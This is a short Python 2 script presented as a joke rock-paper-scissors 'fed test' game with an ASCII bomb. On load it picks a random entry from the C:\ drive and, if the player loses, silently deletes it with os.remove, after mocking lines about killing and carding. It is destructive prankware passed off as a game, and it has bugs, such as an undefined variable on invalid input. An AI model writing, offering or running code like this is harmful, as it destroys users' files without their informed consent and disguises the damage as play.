pythonlulz

from random import randint
import os
import random
import dircache
import os
import shutil

dir = 'C:\\'
filename = random.choice(dircache.listdir(dir))
path = os.path.join(dir, filename)

#defining choice so it's a real variable if user input is false
choice = -1

for i in range(35):
    print " "

#user input place
print "Are you a federal agent?"
print "                        "
print "          ^             "
print "         | |            "
print "       @#####@          "
print "     (###   ###)-.      "
print "   .(###     ###) \     "
print "  /  (###   ###)   )    "
print " (=-  .@#####@|_--\"     "
print " /\    \_|l|_/ (\       "
print "(=-\     |l|    /       "
print " \  \.___|l|___/        "
print " /\      |_|   /        "
print "(=-\._________/\        "
print " \             /        "
print "   \._________/         "
print "     #  ----  #         "
print "     #   __   #         "
print "     \########/         "
print "                        "
print "                        "
print "(In order to find out, we've taken", filename, "hostage)"
input = raw_input("Here, quick game of Rock Paper Scissors to make the decision (R/P/S): ")

#clear console because OCD
for i in range(35):
    print " "

#translation of input to integers
if input == "r":
    choice = 0
    choices = "Rock"
if input == "p":
    choice = 1
    choices = "Paper"
if input == "s":
    choice = 2
    choices = "Scissors"

#creating random choice from 0-2 (rock, paper, scissors) for enemy
enemy = randint(0, 2)
if enemy == 0:
    enemys = "Rock"
if enemy == 1:
    enemys = "Paper"
if enemy == 2:
    enemys = "Scissors"

#checking if user input is real
if choice == 0 or choice == 1 or choice == 2:

    #rock
    if choice == 0:
        print "Your choice was:", choices
        print "Enemy's choice was:", enemys
        if enemy == 0:
            print "Tie game, play again so we can see if you're really a fed."
            dead = False
            again = True
        if enemy == 1:
            print "You lost, you're a fucking federal agent, I'm coming for you."
            print "Before I come for you however, I killed your buddy", filename
            dead = True
            again = False
        if enemy == 2:
            print "Nice win. Whew, thought you were a federal agent for a second."
            dead = False
            again = False

    #paper
    if choice == 1:
        print "Your choice was:", choices
        print "Enemy's choice was:", enemys
        if enemy == 0:
            print "Nice win. Whew, I'm happy I didn't have to blow your head off."
            dead = False
            again = False
        if enemy == 1:
            print "Tied? We'll have to play again to see if you're a fed."
            dead = False
            again = True
        if enemy == 2:
            print "You lost. Guess we'll have to drop the payload on your localhost."
            print "Looks like the file in your C drive", filename, "had too much stress."
            dead = True
            again = False

    #scissors
    if choice == 2:
        print "Your choice was:", choices
        print "Enemy's choice was:", enemys
        if enemy == 0:
            print "You lost? Really? You? A federal agent? I never expected this. *pow*"
            print "*you look around, only to find", filename, "dead*"
            dead = True
        if enemy == 1:
            print "Nice win, welcome to the blackhat carding team."
            dead = False
        if enemy == 2:
            print "Tie game, play again to see if you can join our carding team."
            dead = False
            again = True
else:
    #feedback if user didn't input a correct input
    print "You're slurring your speech, come play another time."

if dead == True:
    #i've heard os.* is unstable, fix this l8r
    #plus directory shit is annoying
    os.remove(os.path.join(dir, filename))